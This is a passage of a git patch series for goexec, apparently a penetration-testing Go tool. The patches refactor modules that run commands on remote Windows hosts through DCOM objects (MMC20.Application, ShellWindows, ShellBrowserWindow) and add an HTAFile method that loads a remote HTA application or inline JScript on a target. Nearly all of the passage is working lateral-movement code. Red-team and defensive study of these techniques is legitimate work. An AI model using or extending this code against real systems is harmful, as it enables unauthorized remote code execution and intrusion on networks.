&iactivation.RemoteActivationRequest{ - ORPCThis: &dcom.ORPCThis{Version: cv}, + ORPCThis: &dcom.ORPCThis{Version: m.comVersion}, ClassID: dtyp.GUIDFromUUID(cls), - IIDs: iids, - RequestedProtocolSequences: []uint16{7, 15}, + IIDs: []*dcom.IID{iid}, + RequestedProtocolSequences: []uint16{7, 15}, // ncacn_ip_tcp, ncacn_np }) if err != nil { return nil, fmt.Errorf("remote activation: %w", err) diff --git a/pkg/goexec/dcom/context.go b/pkg/goexec/dcom/context.go new file mode 100644 index 0000000..7483e7e --- /dev/null +++ b/pkg/goexec/dcom/context.go @@ -0,0 +1,61 @@ +package dcomexec + +import ( + "context" + + "github.com/oiweiwei/go-msrpc/msrpc/dcom" +) + +type contextKey string + +const ( + // contextKeyComVersion (dcom.COMVersion) carries the effective COM version + contextKeyComVersion contextKey = "ComVersion" + contextDefaultComVersionMajor uint16 = 5 + contextDefaultComVersionMinor uint16 = 7 + + // contextKeyGetComVersion (bool) determines whether to call getComVersion (ServerAlive2) to determine the COM version. + // If this is false, defaultComVersionMajor, contextDefaultComVersionMinor will be used. + contextKeyGetComVersion contextKey = "GetComVersion" + contextDefaultGetComVersion = true + + contextKeyCreateInstanceMethod contextKey = "CreateInstanceMethod" + contextDefaultCreateInstanceMethod = OptRemoteCreateInstance +) + +func contextGetComVersion(ctx context.Context) bool { + if v := ctx.Value(contextKeyGetComVersion); v != nil { + if g, ok := v.(bool); ok { + return g + } + } + return contextDefaultGetComVersion +} + +// contextComVersion will return the effective COM version (*dcom.COMVersion) from a context. +// If no COM Version is set and GetComVersion is true, nil is returned +func contextComVersion(ctx context.Context) *dcom.COMVersion { + if v := ctx.Value(contextKeyComVersion); v != nil { + if g, ok := v.(dcom.COMVersion); ok { + return &g + } + } + if v := ctx.Value(contextKeyGetComVersion); v != nil { + if g, ok := v.(bool); ok && !g { + return &dcom.COMVersion{ + MajorVersion: contextDefaultComVersionMajor, + MinorVersion: contextDefaultComVersionMinor, + } + } + } + return nil +} + +func contextCreateInstanceMethod(ctx context.Context) string { + if v := ctx.Value(contextKeyCreateInstanceMethod); v != nil { + if g, ok := v.(string); ok { + return g + } + } + return contextDefaultCreateInstanceMethod +} diff --git a/pkg/goexec/dcom/dcom.go b/pkg/goexec/dcom/dcom.go deleted file mode 100644 index b926efb..0000000 --- a/pkg/goexec/dcom/dcom.go +++ /dev/null @@ -1,34 +0,0 @@ -package dcomexec - -import ( - googleUUID "github.com/google/uuid" - "github.com/oiweiwei/go-msrpc/midl/uuid" - "github.com/oiweiwei/go-msrpc/msrpc/dcom" - "github.com/oiweiwei/go-msrpc/msrpc/dtyp" -) - -const ( - LcEnglishUs uint32 = 0x409 -) - -var ( - ShellBrowserWindowUuid = uuid.MustParse("C08AFD90-F2A1-11D1-8455-00A0C91F3880") - ShellWindowsUuid = uuid.MustParse("9BA05972-F6A8-11CF-A442-00A0C90A8F39") - Mmc20Uuid = uuid.MustParse("49B2791A-B1AE-4C90-9B8E-E860BA07F889") - - RandCid = dcom.CID(*dtyp.GUIDFromUUID(uuid.MustParse(googleUUID.NewString()))) - IDispatchIID = &dcom.IID{ - Data1: 0x20400, - Data2: 0x0, - Data3: 0x0, - Data4: []byte{0xc0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x46}, - } - ComVersion = &dcom.COMVersion{ - MajorVersion: 5, - MinorVersion: 7, - } - ORPCThis = &dcom.ORPCThis{ - Version: ComVersion, - CID: &RandCid, - } -) diff --git a/pkg/goexec/dcom/dispatch.go b/pkg/goexec/dcom/dispatch.go new file mode 100644 index 0000000..1b5e9c2 --- /dev/null +++ b/pkg/goexec/dcom/dispatch.go @@ -0,0 +1,94 @@ +package dcomexec + +import ( + "context" + "fmt" + "strings" + + "github.com/oiweiwei/go-msrpc/dcerpc" + "github.com/oiweiwei/go-msrpc/midl/uuid" + "github.com/oiweiwei/go-msrpc/msrpc/dcom" + "github.com/oiweiwei/go-msrpc/msrpc/dcom/oaut" + "github.com/oiweiwei/go-msrpc/msrpc/dcom/oaut/idispatch/v0" + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/hresult" + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/ntstatus" + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/win32" +) + +const ( + LcEnglishUs uint32 = 0x409 +) + +// Dispatch represents a DCOM IDispatch client +type Dispatch struct { + Dcom + dispatch idispatch.DispatchClient +} + +// getDispatch will create an IDispatch instance of the provided class +func (m *Dispatch) getDispatch(ctx context.Context, cls *uuid.UUID) error { + opts, err := m.bindInstance(ctx, cls, idispatch.DispatchIID) + if err != nil { + return err + } + m.dispatch, err = idispatch.NewDispatchClient(ctx, m.Client.Dce(), opts...) // Might need those dcerpc.Options? + if err != nil { + return fmt.Errorf("init IDispatch client: %w", err) + } + return nil +} + +// callComMethod calls a COM method on a remote object using the IDispatch interface. +// +// The method is specified as a dot-separated string, e.g. "ShellWindows.Item" to call the Item method on the ShellWindows object. +// +// The method arguments are passed as *oaut.Variant. +// +// The method returns an *idispatch.InvokeResponse, which contains the result of the method call. +// +// The method will automatically follow the IDispatch interface to get the object specified in the method name, e.g. "ShellWindows.Item" will +// automatically call "ShellWindows.Item.QueryInterface" to get the IDispatch interface of the object, then call "Item.Invoke" to call the method. +func (m *Dispatch) callComMethod(ctx context.Context, id *dcom.IPID, method string, args ...*oaut.Variant) (ir *idispatch.InvokeResponse, err error) { + parts := strings.Split(method, ".") + + for i, obj := range parts { + var opts []dcerpc.CallOption + if id != nil { + opts = append(opts, dcom.WithIPID(id)) + } + gr, err := m.dispatch.GetIDsOfNames(ctx, &idispatch.GetIDsOfNamesRequest{ + This: &dcom.ORPCThis{Version: m.comVersion}, + IID: &dcom.IID{}, + LocaleID: LcEnglishUs, + Names: []string{obj}, + }, opts...) + if err != nil { + return nil, fmt.Errorf("get dispatch ID of name %q: %w", obj, err) + } + if len(gr.DispatchID) < 1 { + return nil, fmt.Errorf("dispatch ID of name %q not found", obj) + } + irq := &idispatch.InvokeRequest{ + This: &dcom.ORPCThis{Version: m.comVersion}, + IID: &dcom.IID{}, + LocaleID: LcEnglishUs, + DispatchIDMember: gr.DispatchID[0], + } + if i >= len(parts)-1 { + irq.Flags = 1 + irq.DispatchParams = &oaut.DispatchParams{Args: args} + return m.dispatch.Invoke(ctx, irq, opts...) + } + irq.Flags = 2 + ir, err = m.dispatch.Invoke(ctx, irq, opts...) + if err != nil { + return nil, fmt.Errorf("get properties of object %q: %w", obj, err) + } + di, ok := ir.VarResult.VarUnion.GetValue().(*oaut.Dispatch) + if !ok { + return nil, fmt.Errorf("invalid dispatch object for %q", obj) + } + id = di.InterfacePointer().GetStandardObjectReference().Std.IPID + } + return +} diff --git a/pkg/goexec/dcom/mmc.go b/pkg/goexec/dcom/mmc.go index 97fc4ef..06f7c94 100644 --- a/pkg/goexec/dcom/mmc.go +++ b/pkg/goexec/dcom/mmc.go @@ -3,48 +3,48 @@ package dcomexec import ( "context" "fmt" + "github.com/FalconOpsLLC/goexec/pkg/goexec" + "github.com/oiweiwei/go-msrpc/midl/uuid" "github.com/rs/zerolog" + + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/hresult" + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/ntstatus" + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/win32" ) const ( MethodMmc = "MMC" // MMC20.Application::Document.ActiveView.ExecuteShellCommand + MmcUuid = "49B2791A-B1AE-4C90-9B8E-E860BA07F889" ) type DcomMmc struct { - Dcom - - IO goexec.ExecutionIO - + Dispatch WorkingDirectory string WindowState string } +// Init will initialize the ShellBrowserWindow instance +func (m *DcomMmc) Init(ctx context.Context) (err error) { + if err = m.Dcom.Init(ctx); err == nil { + return m.getDispatch(ctx, uuid.MustParse(MmcUuid)) + } + return +} + // Execute will perform command execution via the MMC20.Application DCOM object. func (m *DcomMmc) Execute(ctx context.Context, execIO *goexec.ExecutionIO) (err error) { - - log := zerolog.Ctx(ctx).With(). - Str("module", ModuleName). - Str("method", MethodMmc). - Logger() - method := "Document.ActiveView.ExecuteShellCommand" - + log := zerolog.Ctx(ctx).With().Str("method", method).Logger() cmdline := execIO.CommandLine() - proc := cmdline[0] - args := cmdline[1] // Arguments must be passed in reverse order - if _, err := callComMethod(ctx, - m.dispatchClient, - nil, - method, + if _, err := m.callComMethod(ctx, nil, method, stringToVariant(m.WindowState), - stringToVariant(args), + stringToVariant(cmdline[1]), stringToVariant(m.WorkingDirectory), - stringToVariant(proc)); err != nil { + stringToVariant(cmdline[0])); err != nil { - log.Error().Err(err).Msg("Failed to call method") return fmt.Errorf("call %q: %w", method, err) } log.Info().Msg("Method call successful") diff --git a/pkg/goexec/dcom/module.go b/pkg/goexec/dcom/module.go index 287940c..e49b2bd 100644 --- a/pkg/goexec/dcom/module.go +++ b/pkg/goexec/dcom/module.go @@ -2,18 +2,15 @@ package dcomexec import ( "context" - "errors" "fmt" + "github.com/FalconOpsLLC/goexec/pkg/goexec" "github.com/FalconOpsLLC/goexec/pkg/goexec/dce" "github.com/oiweiwei/go-msrpc/dcerpc" "github.com/oiweiwei/go-msrpc/midl/uuid" "github.com/oiweiwei/go-msrpc/msrpc/dcom" - "github.com/oiweiwei/go-msrpc/msrpc/dcom/iremotescmactivator/v0" - "github.com/oiweiwei/go-msrpc/msrpc/dcom/oaut/idispatch/v0" - "github.com/oiweiwei/go-msrpc/msrpc/dtyp" - "github.com/rs/zerolog" + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/hresult" _ "github.com/oiweiwei/go-msrpc/msrpc/erref/ntstatus" _ "github.com/oiweiwei/go-msrpc/msrpc/erref/win32" ) @@ -26,14 +23,11 @@ type Dcom struct { goexec.Cleaner goexec.Executor - Client *dce.Client - ClassID *uuid.UUID - - dispatchClient idispatch.DispatchClient + Client *dce.Client + comVersion *dcom.COMVersion } func (m *Dcom) Connect(ctx context.Context) (err error) { - if err = m.Client.Connect(ctx); err == nil { m.AddCleaners(m.Client.Close) } @@ -41,107 +35,25 @@ func (m *Dcom) Connect(ctx context.Context) (err error) { } func (m *Dcom) Init(ctx context.Context) (err error) { - - log := zerolog.Ctx(ctx).With(). - Str("module", ModuleName).Logger() - - if m.Client == nil || m.Client.Dce() == nil { - return errors.New("DCE connection not initialized") - } - - if m.ClassID == nil { - return errors.New("CLSID not specified") - } - - class := dcom.ClassID(*dtyp.GUIDFromUUID(m.ClassID)) - - if class.GUID() == nil { - return fmt.Errorf("invalid class ID: %s", m.ClassID) - } - - opts := []dcerpc.Option{ - dcerpc.WithSign(), - } - - inst := &dcom.InstantiationInfoData{ - ClassID: &class, - IID: []*dcom.IID{IDispatchIID}, - ClientCOMVersion: ComVersion, - } - ac := &dcom.ActivationContextInfoData{} - loc := &dcom.LocationInfoData{} - scm := &dcom.SCMRequestInfoData{ - RemoteRequest: &dcom.CustomRemoteRequestSCMInfo{ - RequestedProtocolSequences: []uint16{7}, - }, - } - - ap := &dcom.ActivationProperties{ - DestinationContext: 2, - Properties: []dcom.ActivationProperty{inst, ac, loc, scm}, - } - - apin, err := ap.ActivationPropertiesIn() - if err != nil { - return err - } - - act, err := iremotescmactivator.NewRemoteSCMActivatorClient(ctx, m.Client.Dce()) - if err != nil { - return err - } - - cr, err := act.RemoteCreateInstance(ctx, &iremotescmactivator.RemoteCreateInstanceRequest{ - ORPCThis: &dcom.ORPCThis{ - Version: ComVersion, - Flags: 1, - CID: &RandCid, - }, - ActPropertiesIn: apin, - }) - if err != nil { - return err - } - log.Info().Msg("RemoteCreateInstance succeeded") - - apout := new(dcom.ActivationProperties) - if err = apout.Parse(cr.ActPropertiesOut); err != nil { - return err - } - si := apout.SCMReplyInfoData() - pi := apout.PropertiesOutInfo() - - if si == nil { - return fmt.Errorf("remote create instance response: SCMReplyInfoData is nil") - } - - if pi == nil { - return fmt.Errorf("remote create instance response: PropertiesOutInfo is nil") - } - - // Ensure that the string bindings don't contain the target hostname - for _, bind := range si.RemoteReply.OXIDBindings.GetStringBindings() { - stringBinding, err := dcerpc.ParseStringBinding("ncacn_ip_tcp:" + bind.NetworkAddr) // TODO: try bind.String() - + if m.comVersion = contextComVersion(ctx); m.comVersion == nil { + m.comVersion, err = getComVersion(ctx, m.Client.Dce()) if err != nil { - log.Debug().Err(err).Msg("Failed to parse string binding") - continue + return fmt.Errorf("get COM version: %w", err) } - stringBinding.NetworkAddress = "" - opts = append(opts, dcerpc.WithEndpoint(stringBinding.String())) } + return +} - err = m.Client.Reconnect(ctx, opts...) - if err != nil { - return err +func (m *Dcom) bindInstance(ctx context.Context, cls *uuid.UUID, iid *dcom.IID) (opts []dcerpc.Option, err error) { + if mt := contextCreateInstanceMethod(ctx); mt == OptRemoteCreateInstance { + opts, err = m.remoteCreateInstance(ctx, m.Client.Dce(), cls, iid) + } else if mt == OptRemoteActivation { + opts, err = m.remoteActivation(ctx, m.Client.Dce(), cls, iid) + } else { + return nil, fmt.Errorf("invalid create instance method: %s", mt) } - log.Info().Msg("created new DCERPC dialer") - - m.dispatchClient, err = idispatch.NewDispatchClient(ctx, m.Client.Dce(), dcom.WithIPID(pi.InterfaceData[0].IPID())) if err != nil { - return err + return nil, fmt.Errorf("create instance: %w", err) } - log.Info().Msg("created IDispatch Client") - - return + return opts, m.Client.Reconnect(ctx, opts...) } diff --git a/pkg/goexec/dcom/shellbrowserwindow.go b/pkg/goexec/dcom/shellbrowserwindow.go index ef2500a..33463bb 100644 --- a/pkg/goexec/dcom/shellbrowserwindow.go +++ b/pkg/goexec/dcom/shellbrowserwindow.go @@ -3,50 +3,50 @@ package dcomexec import ( "context" "fmt" + "github.com/FalconOpsLLC/goexec/pkg/goexec" + "github.com/oiweiwei/go-msrpc/midl/uuid" "github.com/rs/zerolog" + + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/hresult" + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/ntstatus" + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/win32" ) const ( MethodShellBrowserWindow = "ShellBrowserWindow" // ShellBrowserWindow::Document.Application.ShellExecute + ShellBrowserWindowUuid = "C08AFD90-F2A1-11D1-8455-00A0C91F3880" ) type DcomShellBrowserWindow struct { - Dcom - - IO goexec.ExecutionIO - + Dispatch WorkingDirectory string WindowState string } +// Init will initialize the ShellBrowserWindow instance +func (m *DcomShellBrowserWindow) Init(ctx context.Context) (err error) { + if err = m.Dcom.Init(ctx); err == nil { + return m.getDispatch(ctx, uuid.MustParse(ShellBrowserWindowUuid)) + } + return +} + // Execute will perform command execution via the ShellBrowserWindow object. See https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ func (m *DcomShellBrowserWindow) Execute(ctx context.Context, execIO *goexec.ExecutionIO) (err error) { - - log := zerolog.Ctx(ctx).With(). - Str("module", ModuleName). - Str("method", MethodShellBrowserWindow). - Logger() - method := "Document.Application.ShellExecute" - cmdline := execIO.CommandLine() - proc := cmdline[0] - args := cmdline[1] // Arguments must be passed in reverse order - if _, err := callComMethod(ctx, m.dispatchClient, - nil, - method, + if _, err := m.callComMethod(ctx, nil, method, stringToVariant(m.WindowState), stringToVariant(""), // FUTURE? stringToVariant(m.WorkingDirectory), - stringToVariant(args), - stringToVariant(proc)); err != nil { + stringToVariant(cmdline[1]), + stringToVariant(cmdline[0])); err != nil { - log.Error().Err(err).Msg("Failed to call method") return fmt.Errorf("call %q: %w", method, err) } - log.Info().Msg("Method call successful") + zerolog.Ctx(ctx).Info().Msg("Method call successful") return } diff --git a/pkg/goexec/dcom/shellwindows.go b/pkg/goexec/dcom/shellwindows.go index aa8417f..3e2a915 100644 --- a/pkg/goexec/dcom/shellwindows.go +++ b/pkg/goexec/dcom/shellwindows.go @@ -4,68 +4,60 @@ import ( "context" "errors" "fmt" + "github.com/FalconOpsLLC/goexec/pkg/goexec" + "github.com/oiweiwei/go-msrpc/midl/uuid" "github.com/oiweiwei/go-msrpc/msrpc/dcom/oaut" - "github.com/rs/zerolog" + "github.com/rs/zerolog/log" + + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/hresult" + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/ntstatus" + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/win32" ) const ( MethodShellWindows = "ShellWindows" // ShellWindows::Item().Document.Application.ShellExecute + ShellWindowsUuid = "9BA05972-F6A8-11CF-A442-00A0C90A8F39" ) type DcomShellWindows struct { - Dcom - - IO goexec.ExecutionIO + Dispatch WorkingDirectory string WindowState string } +// Init will initialize the ShellWindows instance +func (m *DcomShellWindows) Init(ctx context.Context) (err error) { + if err = m.Dcom.Init(ctx); err == nil { + return m.getDispatch(ctx, uuid.MustParse(ShellWindowsUuid)) + } + return +} + // Execute will perform command execution via the ShellWindows object. See https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ func (m *DcomShellWindows) Execute(ctx context.Context, execIO *goexec.ExecutionIO) (err error) { - - log := zerolog.Ctx(ctx).With(). - Str("module", ModuleName). - Str("method", MethodShellWindows). - Logger() - method := "Item" - cmdline := execIO.CommandLine() - proc := cmdline[0] - args := cmdline[1] - - iv, err := callComMethod(ctx, - m.dispatchClient, - nil, - "Item") - + iv, err := m.callComMethod(ctx, nil, "Item") if err != nil { log.Error().Err(err).Msg("Failed to call method") return fmt.Errorf("call method %q: %w", method, err) } - item, ok := iv.VarResult.VarUnion.GetValue().(*oaut.Dispatch) if !ok { return errors.New("failed to get dispatch from ShellWindows::Item()") } - method = "Document.Application.ShellExecute" + cmdline := execIO.CommandLine() // Arguments must be passed in reverse order - if _, err := callComMethod(ctx, m.dispatchClient, - item.InterfacePointer(). - GetStandardObjectReference(). - Std.IPID, - method, + if _, err := m.callComMethod(ctx, item.InterfacePointer().GetStandardObjectReference().Std.IPID, method, stringToVariant(m.WindowState), stringToVariant(""), // FUTURE? stringToVariant(m.WorkingDirectory), - stringToVariant(args), - stringToVariant(proc)); err != nil { - - log.Error().Err(err).Msg("Failed to call method") + stringToVariant(cmdline[1]), + stringToVariant(cmdline[0])); err != nil { return fmt.Errorf("call %q: %w", method, err) } log.Info().Msg("Method call successful") diff --git a/pkg/goexec/dcom/util.go b/pkg/goexec/dcom/util.go index c461822..bf7a3dc 100644 --- a/pkg/goexec/dcom/util.go +++ b/pkg/goexec/dcom/util.go @@ -1,116 +1,56 @@ package dcomexec import ( - "context" - "fmt" - "strings" - - "github.com/oiweiwei/go-msrpc/dcerpc" - "github.com/oiweiwei/go-msrpc/msrpc/dcom" - "github.com/oiweiwei/go-msrpc/msrpc/dcom/iobjectexporter/v0" - "github.com/oiweiwei/go-msrpc/msrpc/dcom/oaut" - "github.com/oiweiwei/go-msrpc/msrpc/dcom/oaut/idispatch/v0" - - _ "github.com/oiweiwei/go-msrpc/msrpc/erref/ntstatus" - _ "github.com/oiweiwei/go-msrpc/msrpc/erref/win32" + "context" + + "github.com/oiweiwei/go-msrpc/dcerpc" + "github.com/oiweiwei/go-msrpc/msrpc/dcom" + "github.com/oiweiwei/go-msrpc/msrpc/dcom/iobjectexporter/v0" + "github.com/oiweiwei/go-msrpc/msrpc/dcom/oaut" + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/ntstatus" + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/win32" ) -// getCOMVersion uses IObjectExporter.ServerAlive2() to determine the COM version of the server. -func getCOMVersion(ctx context.Context, cc dcerpc.Conn) (ver *dcom.COMVersion, err error) { - oe, err := iobjectexporter.NewObjectExporterClient(ctx, cc) - if err != nil { - return nil, err - } - srv, err := oe.ServerAlive2(ctx, &iobjectexporter.ServerAlive2Request{}) - if err != nil { - return nil, err - } - return srv.COMVersion, nil +// getComVersion uses IObjectExporter.ServerAlive2() to determine the COM version of the server. +// If a COM version can be determined from the context, then IObjectExporter.ServerAlive2 will not be called +func getComVersion(ctx context.Context, cc dcerpc.Conn) (ver *dcom.COMVersion, err error) { + cv := contextComVersion(ctx) + if cv == nil { + oe, err := iobjectexporter.NewObjectExporterClient(ctx, cc) + if err != nil { + return nil, err + } + srv, err := oe.ServerAlive2(ctx, &iobjectexporter.ServerAlive2Request{}) + if err != nil { + return nil, err + } + return srv.COMVersion, nil + } + return cv, nil } // normalizeStringBindings removes the address/hostname from string bindings to prevent name resolution issues. func normalizeStringBindings(bindings []*dcom.StringBinding) (opts []dcerpc.Option) { - for _, b := range bindings { - b.NetworkAddr = "" - opts = append(opts, dcerpc.WithEndpoint(b.String())) - } - return -} - -// callComMethod calls a COM method on a remote object using the IDispatch interface. -// -// The method is specified as a dot-separated string, e.g. "ShellWindows.Item" to call the Item method on the ShellWindows object. -// -// The method arguments are passed as *oaut.Variant. -// -// The method returns an *idispatch.InvokeResponse, which contains the result of the method call. -// -// The method will automatically follow the IDispatch interface to get the object specified in the method name, e.g. "ShellWindows.Item" will -// automatically call "ShellWindows.Item.QueryInterface" to get the IDispatch interface of the object, then call "Item.Invoke" to call the method. -func callComMethod(ctx context.Context, dc idispatch.DispatchClient, id *dcom.IPID, method string, args ...*oaut.Variant) (ir *idispatch.InvokeResponse, err error) { - parts := strings.Split(method, ".") - - for i, obj := range parts { - var opts []dcerpc.CallOption - - if id != nil { - opts = append(opts, dcom.WithIPID(id)) - } - gr, err := dc.GetIDsOfNames(ctx, &idispatch.GetIDsOfNamesRequest{ - This: ORPCThis, - IID: &dcom.IID{}, - LocaleID: LcEnglishUs, - - Names: []string{obj + "\x00"}, - }, opts...) - - if err != nil { - return nil, fmt.Errorf("get dispatch ID of name %q: %w", obj, err) - } - - if len(gr.DispatchID) < 1 { - return nil, fmt.Errorf("dispatch ID of name %q not found", obj) - } - - irq := &idispatch.InvokeRequest{ - This: ORPCThis, - IID: &dcom.IID{}, - LocaleID: LcEnglishUs, - - DispatchIDMember: gr.DispatchID[0], - } - if i >= len(parts)-1 { - irq.Flags = 1 - irq.DispatchParams = &oaut.DispatchParams{ArgsCount: uint32(len(args)), Args: args} - return dc.Invoke(ctx, irq, opts...) - } - irq.Flags = 2 - - ir, err = dc.Invoke(ctx, irq, opts...) - if err != nil { - return nil, fmt.Errorf("get properties of object %q: %w", obj, err) - } - - di, ok := ir.VarResult.VarUnion.GetValue().(*oaut.Dispatch) - if !ok { - return nil, fmt.Errorf("invalid dispatch object for %q", obj) - } - id = di.InterfacePointer().GetStandardObjectReference().Std.IPID - } - return + for _, b := range bindings { + if s, err := dcerpc.ParseStringBinding(b.String()); err == nil { + s.NetworkAddress = "" + opts = append(opts, dcerpc.WithEndpoint(s.String())) + } + } + return } // stringToVariant converts a string to a *oaut.Variant. func stringToVariant(s string) *oaut.Variant { - return &oaut.Variant{ - Size: 5, - VT: 8, - VarUnion: &oaut.Variant_VarUnion{ - Value: &oaut.Variant_VarUnion_BSTR{ - BSTR: &oaut.String{ - Data: s, - }, - }, - }, - } + return &oaut.Variant{ + Size: 5, + VT: 8, + VarUnion: &oaut.Variant_VarUnion{ + Value: &oaut.Variant_VarUnion_BSTR{ + BSTR: &oaut.String{ + Data: s, + }, + }, + }, + } } From 860bb32d3d61f1a932af873b9b0af6cb208589c6 Mon Sep 17 00:00:00 2001 From: Bryan McNulty Date: Fri, 26 Sep 2025 15:51:04 -0500 Subject: [PATCH 08/34] add DCOM htafile method --- cmd/dcom.go | 58 +++++++++++-- go.mod | 16 ++-- go.sum | 17 ++++ pkg/goexec/dcom/htafile.go | 161 +++++++++++++++++++++++++++++++++++++ pkg/goexec/dcom/mmc.go | 2 +- 5 files changed, 238 insertions(+), 16 deletions(-) create mode 100644 pkg/goexec/dcom/htafile.go diff --git a/cmd/dcom.go b/cmd/dcom.go index 5def07d..a3871b1 100644 --- a/cmd/dcom.go +++ b/cmd/dcom.go @@ -18,19 +18,23 @@ func dcomCmdInit() { dcomMmcCmdInit() dcomShellWindowsCmdInit() dcomShellBrowserWindowCmdInit() + dcomHtafileCmdInit() dcomCmd.PersistentFlags().AddFlagSet(defaultAuthFlags.Flags) dcomCmd.PersistentFlags().AddFlagSet(defaultLogFlags.Flags) dcomCmd.PersistentFlags().AddFlagSet(defaultNetRpcFlags.Flags) - dcomCmd.AddCommand(dcomMmcCmd, dcomShellWindowsCmd, dcomShellBrowserWindowCmd) + dcomCmd.AddCommand( + dcomMmcCmd, + dcomShellWindowsCmd, + dcomShellBrowserWindowCmd, + dcomHtafileCmd, + ) } func dcomMmcCmdInit() { dcomMmcExecFlags := newFlagSet("Execution") - registerExecutionFlags(dcomMmcExecFlags.Flags) registerExecutionOutputFlags(dcomMmcExecFlags.Flags) - dcomMmcExecFlags.Flags.StringVar(&dcomMmc.WorkingDirectory, "directory", `C:\`, "Working `directory`") dcomMmcExecFlags.Flags.StringVar(&dcomMmc.WindowState, "window", "Minimized", "Window state") @@ -48,11 +52,9 @@ func dcomMmcCmdInit() { func dcomShellWindowsCmdInit() { dcomShellWindowsExecFlags := newFlagSet("Execution") - registerExecutionFlags(dcomShellWindowsExecFlags.Flags) registerExecutionOutputFlags(dcomShellWindowsExecFlags.Flags) - - dcomShellWindowsExecFlags.Flags.StringVar(&dcomShellWindows.WorkingDirectory, "directory", `C:\`, "Working `directory`") + dcomShellWindowsExecFlags.Flags.StringVar(&dcomShellWindows.WorkingDirectory, "directory", `C:\`, "Working directory `path`") dcomShellWindowsExecFlags.Flags.StringVar(&dcomShellWindows.WindowState, "app-window", "0", "Application window state `ID`") cmdFlags[dcomShellWindowsCmd] = []*flagSet{ @@ -71,7 +73,7 @@ func dcomShellBrowserWindowCmdInit() { dcomShellBrowserWindowExecFlags := newFlagSet("Execution") registerExecutionFlags(dcomShellBrowserWindowExecFlags.Flags) registerExecutionOutputFlags(dcomShellBrowserWindowExecFlags.Flags) - dcomShellBrowserWindowExecFlags.Flags.StringVar(&dcomShellBrowserWindow.WorkingDirectory, "directory", `C:\`, "Working `directory`") + dcomShellBrowserWindowExecFlags.Flags.StringVar(&dcomShellBrowserWindow.WorkingDirectory, "directory", `C:\`, "Working directory `path`") dcomShellBrowserWindowExecFlags.Flags.StringVar(&dcomShellBrowserWindow.WindowState, "app-window", "0", "Application window state `ID`") cmdFlags[dcomShellBrowserWindowCmd] = []*flagSet{ @@ -86,10 +88,29 @@ func dcomShellBrowserWindowCmdInit() { dcomShellBrowserWindowCmd.MarkFlagsOneRequired("command", "exec") } +func dcomHtafileCmdInit() { + dcomHtafileExecFlags := newFlagSet("Execution") + dcomHtafileExecFlags.Flags.StringVar(&dcomHtafile.Url, "url", "", "Load custom `URL`") + registerExecutionFlags(dcomHtafileExecFlags.Flags) + registerExecutionOutputFlags(dcomHtafileExecFlags.Flags) + + cmdFlags[dcomHtafileCmd] = []*flagSet{ + dcomHtafileExecFlags, + defaultAuthFlags, + defaultLogFlags, + defaultNetRpcFlags, + } + dcomHtafileCmd.Flags().AddFlagSet(dcomHtafileExecFlags.Flags) + + // Constraints + dcomHtafileCmd.MarkFlagsOneRequired("command", "exec", "url") +} + var ( dcomMmc = dcomexec.DcomMmc{} dcomShellWindows = dcomexec.DcomShellWindows{} dcomShellBrowserWindow = dcomexec.DcomShellBrowserWindow{} + dcomHtafile = dcomexec.DcomHtafile{} dcomCmd = &cobra.Command{ Use: "dcom", @@ -162,4 +183,27 @@ var ( } }, } + + dcomHtafileCmd = &cobra.Command{ + Use: "htafile [target]", + Short: "Execute with the HTAFile DCOM object", + Long: `Description: + The htafile method uses the exposed HTAFile DCOM object to load a remote HTA application or execute inline JScript. + This is made possible by the Load method of the IPersistMoniker interface.`, + Args: args(argsRpcClient("host", ""), + argsOutput("smb"), + func(*cobra.Command, []string) error { + return dcomexec.CheckUrlLength(dcomHtafile.Url, &exec) + }, + ), + Run: func(cmd *cobra.Command, args []string) { + dcomHtafile.Client = &rpcClient + ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodHtafile). + Logger().WithContext(gssapi.NewSecurityContext(context.Background())) + + if err := goexec.ExecuteCleanMethod(ctx, &dcomHtafile, &exec); err != nil { + log.Fatal().Err(err).Msg("Operation failed") + } + }, + } ) diff --git a/go.mod b/go.mod index a0cfe6e..8b5ece9 100644 --- a/go.mod +++ b/go.mod @@ -9,14 +9,14 @@ toolchain go1.24.4 require ( github.com/RedTeamPentesting/adauth v0.5.0 github.com/google/uuid v1.6.0 - github.com/oiweiwei/go-msrpc v1.2.7 + github.com/oiweiwei/go-msrpc v1.2.8 github.com/oiweiwei/go-smb2.fork v1.0.0 github.com/rs/zerolog v1.34.0 - github.com/spf13/cobra v1.9.1 - github.com/spf13/pflag v1.0.7 - golang.org/x/net v0.43.0 - golang.org/x/term v0.34.0 - golang.org/x/text v0.28.0 + github.com/spf13/cobra v1.10.1 + github.com/spf13/pflag v1.0.10 + golang.org/x/net v0.44.0 + golang.org/x/term v0.35.0 + golang.org/x/text v0.29.0 ) require ( @@ -33,7 +33,7 @@ require ( github.com/mattn/go-colorable v0.1.14 // indirect github.com/mattn/go-isatty v0.0.20 // indirect github.com/oiweiwei/gokrb5.fork/v9 v9.0.4 // indirect - golang.org/x/crypto v0.41.0 // indirect - golang.org/x/sys v0.35.0 // indirect + golang.org/x/crypto v0.42.0 // indirect + golang.org/x/sys v0.36.0 // indirect software.sslmate.com/src/go-pkcs12 v0.6.0 // indirect ) diff --git a/go.sum b/go.sum index 0386ad2..0965cd2 100644 --- a/go.sum +++ b/go.sum @@ -44,6 +44,8 @@ github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWE github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= github.com/oiweiwei/go-msrpc v1.2.7 